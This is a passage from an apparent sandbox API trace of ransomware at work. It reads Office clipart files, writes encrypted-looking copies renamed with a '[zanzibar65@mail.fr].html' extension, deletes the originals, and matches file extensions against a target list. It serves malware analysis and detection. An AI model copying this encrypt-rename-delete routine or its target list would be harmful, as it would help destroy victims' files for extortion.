lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.944] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.944] SetEndOfFile (hFile=0x1ec) returned 1 [0048.944] CloseHandle (hObject=0x1ec) returned 1 [0048.944] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.944] SetEndOfFile (hFile=0x218) returned 1 [0048.945] CloseHandle (hObject=0x218) returned 1 [0048.945] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.945] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00174_.gif")) returned 1 [0048.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.945] lstrlenW (lpString=".doc") returned 4 [0048.945] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.945] lstrlenW (lpString=".docx") returned 5 [0048.945] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.945] lstrlenW (lpString=".pdf") returned 4 [0048.945] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.945] lstrlenW (lpString=".xls") returned 4 [0048.945] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.946] lstrlenW (lpString=".xlsx") returned 5 [0048.946] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.946] lstrlenW (lpString=".ppt") returned 4 [0048.946] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.946] lstrlenW (lpString=".zip") returned 4 [0048.946] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.946] lstrlenW (lpString=".rar") returned 4 [0048.946] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.946] lstrlenW (lpString=".bz2") returned 4 [0048.946] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.946] lstrlenW (lpString=".7z") returned 3 [0048.946] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.946] lstrlenW (lpString=".dbf") returned 4 [0048.946] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.946] lstrlenW (lpString=".1cd") returned 4 [0048.946] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.946] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00174_.GIF") returned 63 [0048.946] lstrlenW (lpString=".jpg") returned 4 [0048.946] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.946] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=3378) returned 1 [0048.946] CloseHandle (hObject=0x218) returned 1 [0048.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 0x20 [0048.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0048.947] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.947] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0048.947] GetLastError () returned 0x0 [0048.947] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xd32, lpOverlapped=0x0) returned 1 [0049.810] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xd40, lpOverlapped=0x0) returned 1 [0049.810] ReadFile (in: hFile=0x218, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.810] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.811] SetEndOfFile (hFile=0x1ec) returned 1 [0049.970] CloseHandle (hObject=0x1ec) returned 1 [0049.973] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.973] SetEndOfFile (hFile=0x218) returned 1 [0049.976] CloseHandle (hObject=0x218) returned 1 [0049.980] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0049.980] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00175_.gif")) returned 1 [0050.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0050.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0050.425] lstrlenW (lpString=".doc") returned 4 [0050.425] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.425] lstrlenW (lpString=".docx") returned 5 [0050.425] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0050.425] lstrlenW (lpString=".pdf") returned 4 [0050.425] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.425] lstrlenW (lpString=".xls") returned 4 [0050.426] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.426] lstrlenW (lpString=".xlsx") returned 5 [0050.426] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0050.426] lstrlenW (lpString=".ppt") returned 4 [0050.426] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0050.426] lstrlenW (lpString=".zip") returned 4 [0050.426] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.426] lstrlenW (lpString=".rar") returned 4 [0050.426] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.426] lstrlenW (lpString=".bz2") returned 4 [0050.426] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.426] lstrlenW (lpString=".7z") returned 3 [0050.426] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0050.426] lstrlenW (lpString=".dbf") returned 4 [0050.426] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0050.426] lstrlenW (lpString=".1cd") returned 4 [0050.426] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.426] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00175_.GIF") returned 63 [0050.426] lstrlenW (lpString=".jpg") returned 4 [0050.426] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0052.211] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.211] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.211] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0052.221] GetLastError () returned 0x0 [0052.221] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xd10, lpOverlapped=0x0) returned 1 [0052.224] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xd20, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xd20, lpOverlapped=0x0) returned 1 [0052.225] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.225] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.225] SetEndOfFile (hFile=0x1ec) returned 1 [0052.225] CloseHandle (hObject=0x1ec) returned 1 [0052.225] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.225] SetEndOfFile (hFile=0x1e8) returned 1 [0052.226] CloseHandle (hObject=0x1e8) returned 1 [0052.226] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.226] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01039_.wmf")) returned 1 [0052.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0052.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0052.227] lstrlenW (lpString=".doc") returned 4 [0052.227] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.227] lstrlenW (lpString=".docx") returned 5 [0052.227] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.227] lstrlenW (lpString=".pdf") returned 4 [0052.227] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.227] lstrlenW (lpString=".xls") returned 4 [0052.227] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.227] lstrlenW (lpString=".xlsx") returned 5 [0052.227] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.227] lstrlenW (lpString=".ppt") returned 4 [0052.227] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0052.227] lstrlenW (lpString=".zip") returned 4 [0052.227] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.227] lstrlenW (lpString=".rar") returned 4 [0052.227] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.227] lstrlenW (lpString=".bz2") returned 4 [0052.227] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.227] lstrlenW (lpString=".7z") returned 3 [0052.227] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0052.227] lstrlenW (lpString=".dbf") returned 4 [0052.227] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0052.227] lstrlenW (lpString=".1cd") returned 4 [0052.227] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.227] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01039_.WMF") returned 63 [0052.228] lstrlenW (lpString=".jpg") returned 4 [0052.228] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.228] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=3416) returned 1 [0052.228] CloseHandle (hObject=0x1e8) returned 1 [0052.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 0x20 [0052.228] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.228] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.228] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0052.229] GetLastError () returned 0x0 [0052.229] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xd58, lpOverlapped=0x0) returned 1 [0052.230] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xd60, lpOverlapped=0x0) returned 1 [0052.231] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.231] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.231] SetEndOfFile (hFile=0x1ec) returned 1 [0052.231] CloseHandle (hObject=0x1ec) returned 1 [0052.231] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.231] SetEndOfFile (hFile=0x1e8) returned 1 [0052.232] CloseHandle (hObject=0x1e8) returned 1 [0052.232] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.232] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04134_.wmf")) returned 1 [0052.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0052.232] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0052.232] lstrlenW (lpString=".doc") returned 4 [0052.233] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.233] lstrlenW (lpString=".docx") returned 5 [0052.233] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.233] lstrlenW (lpString=".pdf") returned 4 [0052.233] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.233] lstrlenW (lpString=".xls") returned 4 [0052.233] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.233] lstrlenW (lpString=".xlsx") returned 5 [0052.233] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.233] lstrlenW (lpString=".ppt") returned 4 [0052.233] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0052.233] lstrlenW (lpString=".zip") returned 4 [0052.233] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.233] lstrlenW (lpString=".rar") returned 4 [0052.233] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.233] lstrlenW (lpString=".bz2") returned 4 [0052.233] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.233] lstrlenW (lpString=".7z") returned 3 [0052.233] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0052.233] lstrlenW (lpString=".dbf") returned 4 [0052.233] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0052.233] lstrlenW (lpString=".1cd") returned 4 [0052.233] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.233] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04134_.WMF") returned 63 [0052.233] lstrlenW (lpString=".jpg") returned 4 [0052.233] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.234] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=2636) returned 1 [0052.234] CloseHandle (hObject=0x1e8) returned 1 [0052.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 0x20 [0052.239] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0052.239] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.239] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.239] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0052.240] GetLastError () returned 0x0 [0052.240] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0xa4c, lpOverlapped=0x0) returned 1 [0052.241] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0052.242] ReadFile (in: hFile=0x1e8, lpBuffer=0x3c60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.242] WriteFile (in: hFile=0x1ec, lpBuffer=0x3c60020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c60020*, lpNumberOfBytesWritten=0x313fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.242] SetEndOfFile (hFile=0x1ec) returned 1 [0052.243] CloseHandle (hObject=0x1ec) returned 1 [0052.243] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.243] SetEndOfFile (hFile=0x1e8) returned 1 [0052.243] CloseHandle (hObject=0x1e8) returned 1 [0052.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0052.244] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04174_.wmf")) returned 1 [0052.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0052.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0052.244] lstrlenW (lpString=".doc") returned 4 [0052.244] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.244] lstrlenW (lpString=".docx") returned 5 [0052.244] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.244] lstrlenW (lpString=".pdf") returned 4 [0052.244] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.244] lstrlenW (lpString=".xls") returned 4 [0052.244] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.244] lstrlenW (lpString=".xlsx") returned 5 [0052.244] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.244] lstrlenW (lpString=".ppt") returned 4 [0052.244] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.244] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0052.244] lstrlenW (lpString=".zip") returned 4 [0052.244] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.244] lstrlenW (lpString=".rar") returned 4 [0052.245] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.245] lstrlenW (lpString=".bz2") returned 4 [0052.245] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.245] lstrlenW (lpString=".7z") returned 3 [0052.245] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0052.245] lstrlenW (lpString=".dbf") returned 4 [0052.245] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0052.245] lstrlenW (lpString=".1cd") returned 4 [0052.245] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04174_.WMF") returned 63 [0052.245] lstrlenW (lpString=".jpg") returned 4 [0052.245] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.245] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=6636) returned 1 [0052.245] CloseHandle (hObject=0x1e8) returned 1 [0052.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf")) returned 0x20 [0052.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04191_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04191_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0052.245] 